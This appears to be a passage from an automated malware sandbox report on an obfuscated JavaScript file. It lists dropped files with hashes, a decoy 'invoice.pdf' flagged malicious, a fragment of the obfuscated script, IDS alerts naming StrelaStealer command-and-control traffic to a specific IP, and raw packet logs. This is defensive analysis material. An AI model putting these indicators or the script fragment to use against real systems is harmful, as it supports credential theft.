Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/r2dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:T23mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	146819D51F84206A458EB6ECD753E45C
SHA1:	06D225F91EA82B7B717EA412EE5CBFCE714C4A58
SHA-256:	49C9F7BB6A0AD5732B0E6E0D5115C48A58AEE071906E088785B1550CC1D8A10A
SHA-512:	0C3DAF1DAA627C34982592047878C8FEB7D8EAB7AA41B0417D5769444A5D6BA77A75D11B5FAECB02E08E34D25CC83977FA9685E1B8336EEA5F0D1A74CB413FA5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7cfbd36f-293c-4101-b5cf-5d0d7c01fd9d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ec9f248e-378c-44fb-a801-be2cb50c909d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17513), with CRLF line terminators
Entropy (8bit):	4.911387082849339
TrID:
File name:	11248212732259326130.js
File size:	21'237 bytes
MD5:	0a6067f34ce4abc7b57370e8c6d8e262
SHA1:	88131d9a4f61d8df9e65f450a353bfc279ed375e
SHA256:	0a8857b58ec525634c710392f057f62133001b1390f9fd2b7ff7bd0194c55a84
SHA512:	afd81d66c829262fd663064257b70dd6acd084a7de40c568a3ce997232d7901099a410b38debf856891371e25ec6228a05f7e39a57eeb816f234113e25e3b1f0
SSDEEP:	384:s1BDs5oHOXINx7yxgFkNztl7Y7++Q5k3Y1D70qLEDH/7KI+HQZDVmDal1YEngvVs:MSlXINn11gGV
TLSH:	A092628C8DA3719B0BFD74B5823E7995B234042F6E696B485C013DC93708BB61AD5A3B
File Content Preview:	function miftqxeki(){afsxm=[1031,3079,5127,4103,2055,3072];var tpwnwdmpm=this[gqgrv+obkvlcyrv+guqbyfj+labdt+qvxbdvqev+ccxjd+pjsmramrh+nyzlbr](this[xuqfctd+bidjadps+ckglkuhoe+guqbyfj+eztsfbpy+gqgrv+nyzlbr][ubzoa+guqbyfj+qvxbdvqev+obkvlcyrv+nyzlbr+qvxbdvqev

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:13:32.905927+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:13:32.905927+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:13:35.405903+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:13:32.122680902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.127509117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.127604008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.130955935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.135823965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905807972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905831099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905842066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905910015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905926943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.905961990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905973911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.905985117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.906012058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.906122923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.906133890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.906146049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.906157017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.906179905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.906198978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.910819054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.910831928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.910898924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:32.948724985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.948738098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:32.948806047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.026964903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.026993036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027038097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027054071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027057886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.027098894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.027127028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027353048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027587891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027599096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027611017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.027631998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.027674913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028043985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028094053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.028105021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028116941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028135061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.028202057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028213024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028234959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.028908968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028930902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.028958082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.029031992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.029045105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.029081106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.029104948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.029135942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.029782057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.077749014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.082285881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.082319975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.082333088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.082398891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.115632057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.115645885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.115699053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.147783041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.147820950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.147834063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.147888899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.147950888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.147963047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.147974968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148014069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148036957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148159981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148170948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148204088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148274899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148322105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148330927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148356915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148504972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148571014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148582935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148607969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148633957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148732901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148744106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148755074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148767948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.148787022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.148809910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.149424076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149435997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149447918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149475098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.149525881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149538040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149549007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149559021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.149560928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.149584055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.149710894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150001049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.150412083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150424957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150438070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150456905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.150535107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150548935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150559902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150572062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.150583982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.150613070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.150734901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151290894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.151380062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151391983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151405096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151437998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.151480913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151492119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151510000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151521921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.151547909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.151567936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.171298027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.171319008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.171339035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.171418905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.171431065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.171442032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.171494961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.190196991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.190216064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.190258980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.204186916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.204210997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.204221964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.204281092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.236356020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.236367941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.236411095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268320084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268343925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268353939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268387079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268424988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268436909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268465042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268517017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268536091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268552065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268670082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268716097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268723965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268765926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268774986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268795013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268832922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268903971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268907070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268915892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.268942118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.268980980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269093037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269140959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269144058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269155979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269196987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269275904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269288063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269299030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269315958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269452095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269465923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269476891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269498110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269532919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269686937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269737959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269748926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269778013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269835949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269903898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.269925117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269936085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269948006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269958973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.269973993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.270003080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.270169973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270180941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270191908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270201921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270211935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270214081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.270241976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.270646095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270687103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270697117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270706892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.270724058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.270852089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270864010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270876884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.270888090 CET	80	49704	193.143.1.205	192.168.2.5
